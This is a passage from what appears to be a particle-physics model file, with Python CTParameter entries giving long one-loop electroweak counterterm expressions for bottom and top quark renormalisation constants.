(ee**2*(24*cw**2*MB**4 + 18*MB**2*MW**2 - 9*cw**2*MB**2*MZ**2 - 6*MW**2*MZ**2 - 8*MB**2*MW**2*sw**2 + 16*cw**2*MB**2*MW**2*sw**2 + 8*MW**2*MZ**2*sw**2 - 4*cw**2*MW**2*MZ**2*sw**2 - 4*MW**2*MZ**2*sw**4)*(-reglog(MB**2/MU_R**2)))/(192.*cw**2*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) - (ee**2*(4*MB**2 - 3*MH**2)*reglog(MU_R**2/MH**2))/(128.*MW**2*cmath.pi**2*sw**2) + (ee**2*MT**2*(MB**6 - 4*MB**4*MT**2 + 5*MB**2*MT**4 - 2*MT**6 + 4*MB**2*MT**2*MW**2 + 3*MB**2*MW**4 + 6*MT**2*MW**4 - 4*MW**6)*reglog(MU_R**2/MT**2))/(64.*MB**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(MB**6 - 3*MB**2*MT**4 + 2*MT**6 + 2*MB**4*MW**2 - 2*MB**2*MT**2*MW**2 - 7*MB**2*MW**4 - 6*MT**2*MW**4 + 4*MW**6)*reglog(MU_R**2/MW**2))/(64.*MB**2*(MB - MT - MW)*(MB + MT - MW)*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(-24*MB**4*MW**2 + 24*cw**2*MB**4*MZ**2 + 48*MB**2*MW**2*MZ**2 - 9*cw**2*MB**2*MZ**4 - 12*MW**2*MZ**4 - 32*MB**4*MW**2*sw**2 - 32*MB**2*MW**2*MZ**2*sw**2 + 16*MW**2*MZ**4*sw**2 + 32*MB**4*MW**2*sw**4 + 8*MB**2*MW**2*MZ**2*sw**4 - 8*MW**2*MZ**4*sw**4)*reglog(MU_R**2/MZ**2))/(384.*cw**2*MB**2*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) - (ee**2*(48*cw**2*MB**10 - 36*cw**2*MB**8*MH**2 - 120*cw**2*MB**8*MT**2 + 72*cw**2*MB**6*MH**2*MT**2 + 144*cw**2*MB**6*MT**4 - 36*cw**2*MB**4*MH**2*MT**4 - 120*cw**2*MB**4*MT**6 + 48*cw**2*MB**2*MT**8 + 60*MB**8*MW**2 - 120*cw**2*MB**8*MW**2 + 72*cw**2*MB**6*MH**2*MW**2 - 120*MB**6*MT**2*MW**2 - 96*cw**2*MB**6*MT**2*MW**2 + 72*cw**2*MB**4*MH**2*MT**2*MW**2 + 60*MB**4*MT**4*MW**2 - 24*cw**2*MB**4*MT**4*MW**2 - 48*cw**2*MB**2*MT**6*MW**2 - 120*MB**6*MW**4 - 36*cw**2*MB**4*MH**2*MW**4 - 120*MB**4*MT**2*MW**4 - 24*cw**2*MB**4*MT**2*MW**4 - 144*cw**2*MB**2*MT**4*MW**4 + 60*MB**4*MW**6 + 168*cw**2*MB**4*MW**6 + 240*cw**2*MB**2*MT**2*MW**6 - 96*cw**2*MB**2*MW**8 - 42*cw**2*MB**8*MZ**2 + 9*cw**2*MB**6*MH**2*MZ**2 + 90*cw**2*MB**6*MT**2*MZ**2 - 18*cw**2*MB**4*MH**2*MT**2*MZ**2 - 66*cw**2*MB**4*MT**4*MZ**2 + 9*cw**2*MB**2*MH**2*MT**4*MZ**2 + 30*cw**2*MB**2*MT**6*MZ**2 - 12*cw**2*MT**8*MZ**2 - 60*MB**6*MW**2*MZ**2 + 90*cw**2*MB**6*MW**2*MZ**2 - 18*cw**2*MB**4*MH**2*MW**2*MZ**2 + 120*MB**4*MT**2*MW**2*MZ**2 + 84*cw**2*MB**4*MT**2*MW**2*MZ**2 - 18*cw**2*MB**2*MH**2*MT**2*MW**2*MZ**2 - 60*MB**2*MT**4*MW**2*MZ**2 + 6*cw**2*MB**2*MT**4*MW**2*MZ**2 + 12*cw**2*MT**6*MW**2*MZ**2 + 120*MB**4*MW**4*MZ**2 - 30*cw**2*MB**4*MW**4*MZ**2 + 9*cw**2*MB**2*MH**2*MW**4*MZ**2 + 120*MB**2*MT**2*MW**4*MZ**2 + 6*cw**2*MB**2*MT**2*MW**4*MZ**2 + 36*cw**2*MT**4*MW**4*MZ**2 - 60*MB**2*MW**6*MZ**2 - 42*cw**2*MB**2*MW**6*MZ**2 - 60*cw**2*MT**2*MW**6*MZ**2 + 24*cw**2*MW**8*MZ**2 + 9*cw**2*MB**6*MZ**4 - 18*cw**2*MB**4*MT**2*MZ**4 + 9*cw**2*MB**2*MT**4*MZ**4 + 12*MB**4*MW**2*MZ**4 - 18*cw**2*MB**4*MW**2*MZ**4 - 24*MB**2*MT**2*MW**2*MZ**4 - 18*cw**2*MB**2*MT**2*MW**2*MZ**4 + 12*MT**4*MW**2*MZ**4 - 24*MB**2*MW**4*MZ**4 + 9*cw**2*MB**2*MW**4*MZ**4 - 24*MT**2*MW**4*MZ**4 + 12*MW**6*MZ**4 + 16*MB**8*MW**2*sw**2 - 32*MB**6*MT**2*MW**2*sw**2 + 16*MB**4*MT**4*MW**2*sw**2 - 32*MB**6*MW**4*sw**2 - 32*MB**4*MT**2*MW**4*sw**2 + 16*MB**4*MW**6*sw**2 + 48*MB**6*MW**2*MZ**2*sw**2 - 96*MB**4*MT**2*MW**2*MZ**2*sw**2 + 48*MB**2*MT**4*MW**2*MZ**2*sw**2 - 96*MB**4*MW**4*MZ**2*sw**2 - 96*MB**2*MT**2*MW**4*MZ**2*sw**2 + 48*MB**2*MW**6*MZ**2*sw**2 - 16*MB**4*MW**2*MZ**4*sw**2 + 32*MB**2*MT**2*MW**2*MZ**4*sw**2 - 16*MT**4*MW**2*MZ**4*sw**2 + 32*MB**2*MW**4*MZ**4*sw**2 + 32*MT**2*MW**4*MZ**4*sw**2 - 16*MW**6*MZ**4*sw**2 - 32*MB**8*MW**2*sw**4 + 64*MB**6*MT**2*MW**2*sw**4 - 32*MB**4*MT**4*MW**2*sw**4 + 64*MB**6*MW**4*sw**4 + 64*MB**4*MT**2*MW**4*sw**4 - 32*MB**4*MW**6*sw**4 - 16*MB**6*MW**2*MZ**2*sw**4 + 32*MB**4*MT**2*MW**2*MZ**2*sw**4 - 16*MB**2*MT**4*MW**2*MZ**2*sw**4 + 32*MB**4*MW**4*MZ**2*sw**4 + 32*MB**2*MT**2*MW**4*MZ**2*sw**4 - 16*MB**2*MW**6*MZ**2*sw**4 + 8*MB**4*MW**2*MZ**4*sw**4 - 16*MB**2*MT**2*MW**2*MZ**4*sw**4 + 8*MT**4*MW**2*MZ**4*sw**4 - 16*MB**2*MW**4*MZ**4*sw**4 - 16*MT**2*MW**4*MZ**4*sw**4 + 8*MW**6*MZ**4*sw**4)*reglogm((MB**2 + vep*complex(0,-1))/MU_R**2))/(384.*cw**2*MB**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) - (3*ee**2*(2*MB**2 - MH**2)*reglogm((-MH**2 - cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(2.*MB**2)))/(128.*MW**2*cmath.pi**2*sw**2) - (3*ee**2*(2*MB**2 - MH**2)*reglogm((-MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(2.*MB**2)))/(128.*MW**2*cmath.pi**2*sw**2) + (3*ee**2*(2*MB**2 - MH**2)*(2*MB**2 - MH**2 + cmath.sqrt(-4*MB**2*MH**2 + MH**4 + MB**2*vep*complex(0,4)))*reglogm((-MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(2*MB**2 - MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))))/(256.*MB**2*MW**2*cmath.pi**2*sw**2) - (3*ee**2*(2*MB**2 - MH**2)*(-2*MB**2 + MH**2 + cmath.sqrt(-4*MB**2*MH**2 + MH**4 + MB**2*vep*complex(0,4)))*reglogm((MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(-2*MB**2 + MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))))/(256.*MB**2*MW**2*cmath.pi**2*sw**2) + (ee**2*(MB**8 - MB**6*MT**2 - 3*MB**4*MT**4 + 5*MB**2*MT**6 - 2*MT**8 - MB**6*MW**2 - 2*MB**4*MT**2*MW**2 + MB**2*MT**4*MW**2 + 2*MT**6*MW**2 + 3*MB**4*MW**4 + MB**2*MT**2*MW**4 + 6*MT**4*MW**4 - 7*MB**2*MW**6 - 10*MT**2*MW**6 + 4*MW**8)*reglogm((-MB**2 + MT**2 - MW**2 - cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(2.*MB**2)))/(64.*MB**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(MB**8 - MB**6*MT**2 - 3*MB**4*MT**4 + 5*MB**2*MT**6 - 2*MT**8 - MB**6*MW**2 - 2*MB**4*MT**2*MW**2 + MB**2*MT**4*MW**2 + 2*MT**6*MW**2 + 3*MB**4*MW**4 + MB**2*MT**2*MW**4 + 6*MT**4*MW**4 - 7*MB**2*MW**6 - 10*MT**2*MW**6 + 4*MW**8)*reglogm((-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(2.*MB**2)))/(64.*MB**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(MB**8 - MB**6*MT**2 - 3*MB**4*MT**4 + 5*MB**2*MT**6 - 2*MT**8 - MB**6*MW**2 - 2*MB**4*MT**2*MW**2 + MB**2*MT**4*MW**2 + 2*MT**6*MW**2 + 3*MB**4*MW**4 + MB**2*MT**2*MW**4 + 6*MT**4*MW**4 - 7*MB**2*MW**6 - 10*MT**2*MW**6 + 4*MW**8)*(MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))*reglogm((-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))))/(128.*MB**4*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(MB**8 - MB**6*MT**2 - 3*MB**4*MT**4 + 5*MB**2*MT**6 - 2*MT**8 - MB**6*MW**2 - 2*MB**4*MT**2*MW**2 + MB**2*MT**4*MW**2 + 2*MT**6*MW**2 + 3*MB**4*MW**4 + MB**2*MT**2*MW**4 + 6*MT**4*MW**4 - 7*MB**2*MW**6 - 10*MT**2*MW**6 + 4*MW**8)*(-MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))*reglogm((MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(-MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))))/(128.*MB**4*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(-60*MB**4*MW**2 + 30*cw**2*MB**4*MZ**2 + 60*MB**2*MW**2*MZ**2 - 9*cw**2*MB**2*MZ**4 - 12*MW**2*MZ**4 - 16*MB**4*MW**2*sw**2 - 48*MB**2*MW**2*MZ**2*sw**2 + 16*MW**2*MZ**4*sw**2 + 32*MB**4*MW**2*sw**4 + 16*MB**2*MW**2*MZ**2*sw**4 - 8*MW**2*MZ**4*sw**4)*reglogm((-MZ**2 - cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(2.*MB**2)))/(384.*cw**2*MB**2*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) + (ee**2*(-60*MB**4*MW**2 + 30*cw**2*MB**4*MZ**2 + 60*MB**2*MW**2*MZ**2 - 9*cw**2*MB**2*MZ**4 - 12*MW**2*MZ**4 - 16*MB**4*MW**2*sw**2 - 48*MB**2*MW**2*MZ**2*sw**2 + 16*MW**2*MZ**4*sw**2 + 32*MB**4*MW**2*sw**4 + 16*MB**2*MW**2*MZ**2*sw**4 - 8*MW**2*MZ**4*sw**4)*reglogm((-MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(2.*MB**2)))/(384.*cw**2*MB**2*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) - (ee**2*(-60*MB**4*MW**2 + 30*cw**2*MB**4*MZ**2 + 60*MB**2*MW**2*MZ**2 - 9*cw**2*MB**2*MZ**4 - 12*MW**2*MZ**4 - 16*MB**4*MW**2*sw**2 - 48*MB**2*MW**2*MZ**2*sw**2 + 16*MW**2*MZ**4*sw**2 + 32*MB**4*MW**2*sw**4 + 16*MB**2*MW**2*MZ**2*sw**4 - 8*MW**2*MZ**4*sw**4)*(2*MB**2 - MZ**2 + cmath.sqrt(-4*MB**2*MZ**2 + MZ**4 + MB**2*vep*complex(0,4)))*reglogm((-MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(2*MB**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))))/(768.*cw**2*MB**4*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) + (ee**2*(-60*MB**4*MW**2 + 30*cw**2*MB**4*MZ**2 + 60*MB**2*MW**2*MZ**2 - 9*cw**2*MB**2*MZ**4 - 12*MW**2*MZ**4 - 16*MB**4*MW**2*sw**2 - 48*MB**2*MW**2*MZ**2*sw**2 + 16*MW**2*MZ**4*sw**2 + 32*MB**4*MW**2*sw**4 + 16*MB**2*MW**2*MZ**2*sw**4 - 8*MW**2*MZ**4*sw**4)*(-2*MB**2 + MZ**2 + cmath.sqrt(-4*MB**2*MZ**2 + MZ**4 + MB**2*vep*complex(0,4)))*reglogm((MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(-2*MB**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))))/(768.*cw**2*MB**4*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2)) )'},
texname = '\delta ZR_b^{EW,MB}')
dMB_tWcft_UV_EW_L = CTParameter(name = 'dMB_tWcft_UV_EW_L',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0 and WT != 0,-(ee**2*MB**2)/(64.*MW**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WT != 0,(ee**2*(9*MB**4 - 27*MB**2*MT**2 + 9*MB**2*MW**2 - 32*MT**2*MW**2*sw**2*reglog(16.) + 16*MT**2*MW**2*sw**2*reglog(64.) + 9*MT**4*reglog(cmath.pi) + 18*MT**2*MW**2*reglog(cmath.pi) - 32*MT**2*MW**2*sw**2*reglog(cmath.pi) - 18*MT**4*reglog(2*cmath.pi) - 36*MT**2*MW**2*reglog(2*cmath.pi) + 32*MT**2*MW**2*sw**2*reglog(2*cmath.pi) + 9*MT**4*reglog(4*cmath.pi) + 18*MT**2*MW**2*reglog(4*cmath.pi)))/(576.*MT**2*MW**2*cmath.pi**2*sw**2) - (ee**2*MB**2*(MB**6 - 2*MB**4*MT**2 + MB**2*MT**4 - 4*MT**4*MW**2 - 3*MB**2*MW**4 + 2*MT**2*MW**4 + 2*MW**6)*(-reglog(MB**2/MU_R**2)))/(64.*MT**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(MB**6 + 2*MB**4*MT**2 - 7*MB**2*MT**4 + 4*MT**6 - 2*MB**2*MT**2*MW**2 - 6*MT**4*MW**2 - 3*MB**2*MW**4 + 2*MW**6)*reglog(MU_R**2/MW**2))/(64.*MT**2*(MB - MT - MW)*(MB + MT - MW)*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(MB**8 - 3*MB**6*MT**2 + 3*MB**4*MT**4 - MB**2*MT**6 - MB**6*MW**2 + 5*MB**2*MT**4*MW**2 - 4*MT**6*MW**2 - 3*MB**4*MW**4 + 3*MB**2*MT**2*MW**4 + 6*MT**4*MW**4 + 5*MB**2*MW**6 - 2*MW**8)*reglog((MT**2 + vep*complex(0,-1))/MU_R**2))/(64.*MT**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(MT - MW)*(MT + MW)*(2*MT**2 + MW**2)*reglogm((-MT**2 + MW**2 + vep*complex(0,-1))/MW**2))/(32.*MT**4*cmath.pi**2*sw**2) - (ee**2*(MB**8 - 3*MB**6*MT**2 + 3*MB**4*MT**4 - MB**2*MT**6 - MB**6*MW**2 + 5*MB**2*MT**4*MW**2 - 4*MT**6*MW**2 - 3*MB**4*MW**4 + 3*MB**2*MT**2*MW**4 + 6*MT**4*MW**4 + 5*MB**2*MW**6 - 2*MW**8)*reglogm((MB**2 - MT**2 - MW**2 - cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(2.*MT**2)))/(64.*MT**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(MB**8 - 3*MB**6*MT**2 + 3*MB**4*MT**4 - MB**2*MT**6 - MB**6*MW**2 + 5*MB**2*MT**4*MW**2 - 4*MT**6*MW**2 - 3*MB**4*MW**4 + 3*MB**2*MT**2*MW**4 + 6*MT**4*MW**4 + 5*MB**2*MW**6 - 2*MW**8)*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(2.*MT**2)))/(64.*MT**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(MB**8 - 3*MB**6*MT**2 + 3*MB**4*MT**4 - MB**2*MT**6 - MB**6*MW**2 + 5*MB**2*MT**4*MW**2 - 4*MT**6*MW**2 - 3*MB**4*MW**4 + 3*MB**2*MT**2*MW**4 + 6*MT**4*MW**4 + 5*MB**2*MW**6 - 2*MW**8)*(MB**2 + MT**2 - MW**2 + cmath.sqrt(MB**4 - 2*MB**2*MT**2 + MT**4 - 2*MB**2*MW**2 - 2*MT**2*MW**2 + MW**4 + MT**2*vep*complex(0,4)))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))))/(128.*MT**4*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(MB**8 - 3*MB**6*MT**2 + 3*MB**4*MT**4 - MB**2*MT**6 - MB**6*MW**2 + 5*MB**2*MT**4*MW**2 - 4*MT**6*MW**2 - 3*MB**4*MW**4 + 3*MB**2*MT**2*MW**4 + 6*MT**4*MW**4 + 5*MB**2*MW**6 - 2*MW**8)*(-MB**2 - MT**2 + MW**2 + cmath.sqrt(MB**4 - 2*MB**2*MT**2 + MT**4 - 2*MB**2*MW**2 - 2*MT**2*MW**2 + MW**4 + MT**2*vep*complex(0,4)))*reglogm((-MB**2 + MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(-MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))))/(128.*MT**4*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2)) )'},
texname = '\delta ZL_t^{EW,MB}')
dMB_bWcft_UV_EW_L = CTParameter(name = 'dMB_bWcft_UV_EW_L',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0,-(ee**2*(3*MB**2 + 4*MW**2*sw**2))/(192.*MW**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0,(ee**2*(72*cw**2*MB**4*MT**2 - 27*cw**2*MB**2*MH**2*MT**2 - 27*cw**2*MB**2*MT**4 + 18*cw**2*MT**6 - 72*cw**2*MB**4*MW**2 + 27*cw**2*MB**2*MH**2*MW**2 + 9*MB**2*MT**2*MW**2 + 27*cw**2*MB**2*MT**2*MW**2 - 9*MB**2*MW**4 + 54*cw**2*MB**2*MW**4 - 54*cw**2*MT**2*MW**4 + 36*cw**2*MW**6 - 27*cw**2*MB**2*MT**2*MZ**2 + 27*cw**2*MB**2*MW**2*MZ**2 - 18*MT**2*MW**2*MZ**2 + 18*MW**4*MZ**2 + 84*MB**2*MT**2*MW**2*sw**2 - 32*cw**2*MB**2*MT**2*MW**2*sw**2 - 84*MB**2*MW**4*sw**2 + 32*cw**2*MB**2*MW**4*sw**2 + 24*MT**2*MW**2*MZ**2*sw**2 - 24*MW**4*MZ**2*sw**2 - 36*MB**2*MT**2*MW**2*sw**4 + 36*MB**2*MW**4*sw**4 - 24*MT**2*MW**2*MZ**2*sw**4 + 24*MW**4*MZ**2*sw**4 + 9*cw**2*MB**2*MT**4*reglog(16.) + 9*MB**2*MT**2*MW**2*reglog(16.) + 9*cw**2*MB**2*MT**2*MW**2*reglog(16.) - 9*MB**2*MW**4*reglog(16.) - 18*cw**2*MB**2*MW**4*reglog(16.) - 12*MB**2*MT**2*MW**2*sw**2*reglog(16.) - 16*cw**2*MB**2*MT**2*MW**2*sw**2*reglog(16.) + 12*MB**2*MW**4*sw**2*reglog(16.) + 16*cw**2*MB**2*MW**4*sw**2*reglog(16.) + 4*MB**2*MT**2*MW**2*sw**4*reglog(16.) - 4*MB**2*MW**4*sw**4*reglog(16.) + 4*cw**2*MB**2*MT**2*MW**2*sw**2*reglog(256.) - 4*cw**2*MB**2*MW**4*sw**2*reglog(256.) + 18*cw**2*MB**4*MT**2*reglog(1/(4.*cmath.pi)) - 18*cw**2*MB**4*MW**2*reglog(1/(4.*cmath.pi)) + 18*MB**2*MT**2*MW**2*reglog(1/(4.*cmath.pi)) - 18*MB**2*MW**4*reglog(1/(4.*cmath.pi)) - 24*MB**2*MT**2*MW**2*sw**2*reglog(1/(4.*cmath.pi)) + 24*MB**2*MW**4*sw**2*reglog(1/(4.*cmath.pi)) + 8*MB**2*MT**2*MW**2*sw**4*reglog(1/(4.*cmath.pi)) - 8*MB**2*MW**4*sw**4*reglog(1/(4.*cmath.pi)) + 18*cw**2*MB**2*MT**4*reglog(cmath.pi) + 18*MB**2*MT**2*MW**2*reglog(cmath.pi) + 54*cw**2*MB**2*MT**2*MW**2*reglog(cmath.pi) - 18*MB**2*MW**4*reglog(cmath.pi) - 72*cw**2*MB**2*MW**4*reglog(cmath.pi) - 24*MB**2*MT**2*MW**2*sw**2*reglog(cmath.pi) - 8*cw**2*MB**2*MT**2*MW**2*sw**2*reglog(cmath.pi) + 24*MB**2*MW**4*sw**2*reglog(cmath.pi) + 8*cw**2*MB**2*MW**4*sw**2*reglog(cmath.pi) + 8*MB**2*MT**2*MW**2*sw**4*reglog(cmath.pi) - 8*MB**2*MW**4*sw**4*reglog(cmath.pi) - 72*cw**2*MB**2*MT**2*MW**2*reglog(2*cmath.pi) + 72*cw**2*MB**2*MW**4*reglog(2*cmath.pi) - 16*cw**2*MB**2*MT**2*MW**2*sw**2*reglog(2*cmath.pi) + 16*cw**2*MB**2*MW**4*sw**2*reglog(2*cmath.pi) + 18*cw**2*MB**4*MT**2*reglog(4*cmath.pi) - 18*cw**2*MB**2*MT**4*reglog(4*cmath.pi) - 18*cw**2*MB**4*MW**2*reglog(4*cmath.pi) + 18*cw**2*MB**2*MT**2*MW**2*reglog(4*cmath.pi) + 24*cw**2*MB**2*MT**2*MW**2*sw**2*reglog(4*cmath.pi) - 24*cw**2*MB**2*MW**4*sw**2*reglog(4*cmath.pi)))/(1152.*cw**2*MB**2*(MT - MW)*MW**2*(MT + MW)*cmath.pi**2*sw**2) - (ee**2*(24*cw**2*MB**4 + 6*MB**2*MW**2 - 9*cw**2*MB**2*MZ**2 - 3*MW**2*MZ**2 + 8*MB**2*MW**2*sw**2 + 16*cw**2*MB**2*MW**2*sw**2 + 4*MW**2*MZ**2*sw**2 - 4*cw**2*MW**2*MZ**2*sw**2 - 4*MW**2*MZ**2*sw**4)*(-reglog(MB**2/MU_R**2)))/(192.*cw**2*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) - (ee**2*(4*MB**2 - 3*MH**2)*reglog(MU_R**2/MH**2))/(128.*MW**2*cmath.pi**2*sw**2) + (ee**2*MT**2*(MB**6*MT**4 - 3*MB**4*MT**6 + 3*MB**2*MT**8 - MT**10 + 2*MB**6*MT**2*MW**2 - 4*MB**2*MT**6*MW**2 + 2*MT**8*MW**2 - 13*MB**4*MT**2*MW**4 - 3*MB**2*MT**4*MW**4 + 2*MT**6*MW**4 + 4*MB**4*MW**6 + 6*MB**2*MT**2*MW**6 - 8*MT**4*MW**6 - 2*MB**2*MW**8 + 7*MT**2*MW**8 - 2*MW**10)*reglog(MU_R**2/MT**2))/(64.*MB**2*(MB - MT - MW)*(MT - MW)**2*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MT + MW)**2*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(-(MB**4*MT**6) + 2*MB**2*MT**8 - MT**10 + 7*MB**6*MT**2*MW**2 - 14*MB**4*MT**4*MW**2 - 3*MB**2*MT**6*MW**2 + 2*MT**8*MW**2 - 4*MB**6*MW**4 - 3*MB**4*MT**2*MW**4 + 2*MT**6*MW**4 + 6*MB**4*MW**6 + MB**2*MT**2*MW**6 - 8*MT**4*MW**6 + 7*MT**2*MW**8 - 2*MW**10)*reglog(MU_R**2/MW**2))/(64.*MB**2*(MB - MT - MW)*(MT - MW)**2*(MB + MT - MW)*(MB - MT + MW)*(MT + MW)**2*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(24*cw**2*MB**4*MZ**2 + 18*MB**2*MW**2*MZ**2 - 9*cw**2*MB**2*MZ**4 - 6*MW**2*MZ**4 - 64*MB**4*MW**2*sw**2 + 8*MB**2*MW**2*MZ**2*sw**2 + 8*MW**2*MZ**4*sw**2 + 32*MB**4*MW**2*sw**4 + 8*MB**2*MW**2*MZ**2*sw**4 - 8*MW**2*MZ**4*sw**4)*reglog(MU_R**2/MZ**2))/(384.*cw**2*MB**2*MW**2*(2*MB - MZ)*(2*MB + MZ)*cmath.pi**2*sw**2) - (ee**2*(72*cw**2*MB**10 - 36*cw**2*MB**8*MH**2 - 168*cw**2*MB**8*MT**2 + 72*cw**2*MB**6*MH**2*MT**2 + 144*cw**2*MB**6*MT**4 - 36*cw**2*MB**4*MH**2*MT**4 - 72*cw**2*MB**4*MT**6 + 24*cw**2*MB**2*MT**8 + 12*MB**8*MW**2 - 240*cw**2*MB**8*MW**2 + 72*cw**2*MB**6*MH**2*MW**2 - 24*MB**6*MT**2*MW**2 - 24*cw**2*MB**6*MT**2*MW**2 + 72*cw**2*MB**4*MH**2*MT**2*MW**2 + 12*MB**4*MT**4*MW**2 - 24*cw**2*MB**2*MT**6*MW**2 - 24*MB**6*MW**4 + 216*cw**2*MB**6*MW**4 - 36*cw**2*MB**4*MH**2*MW**4 - 24*MB**4*MT**2*MW**4 + 72*cw**2*MB**4*MT**2*MW**4 - 72*cw**2*MB**2*MT**4*MW**4 + 12*MB**4*MW**6 + 120*cw**2*MB**2*MT**2*MW**6 - 48*cw**2*MB**2*MW**8 - 48*cw**2*MB**8*MZ**2 + 9*cw**2*MB**6*MH**2*MZ**2 + 102*cw**2*MB**6*MT**2*MZ**2 - 18*cw**2*MB**4*MH**2*MT**2*MZ**2 - 66*cw**2*MB**4*MT**4*MZ**2 + 9*cw**2*MB**2*MH**2*MT**4*MZ**2 + 18*cw**2*MB**2*MT**6*MZ**2 - 6*cw**2*MT**8*MZ**2 - 24*MB**6*MW**2*MZ**2 + 120*cw**2*MB**6*MW**2*MZ**2 - 18*cw**2*MB**4*MH**2*MW**2*MZ**2 + 48*MB**4*MT**2*MW**2*MZ**2 + 66*cw**2*MB**4*MT**2*MW**2*MZ**2 - 18*cw**2*MB**2*MH**2*MT**2*MW**2*MZ**2 - 24*MB**2*MT**4*MW**2*MZ**2 + 6*cw**2*MT**6*MW**2*MZ**2 + 48*MB**4*MW**4*MZ**2 - 84*cw**2*MB**4*MW**4*MZ**2 + 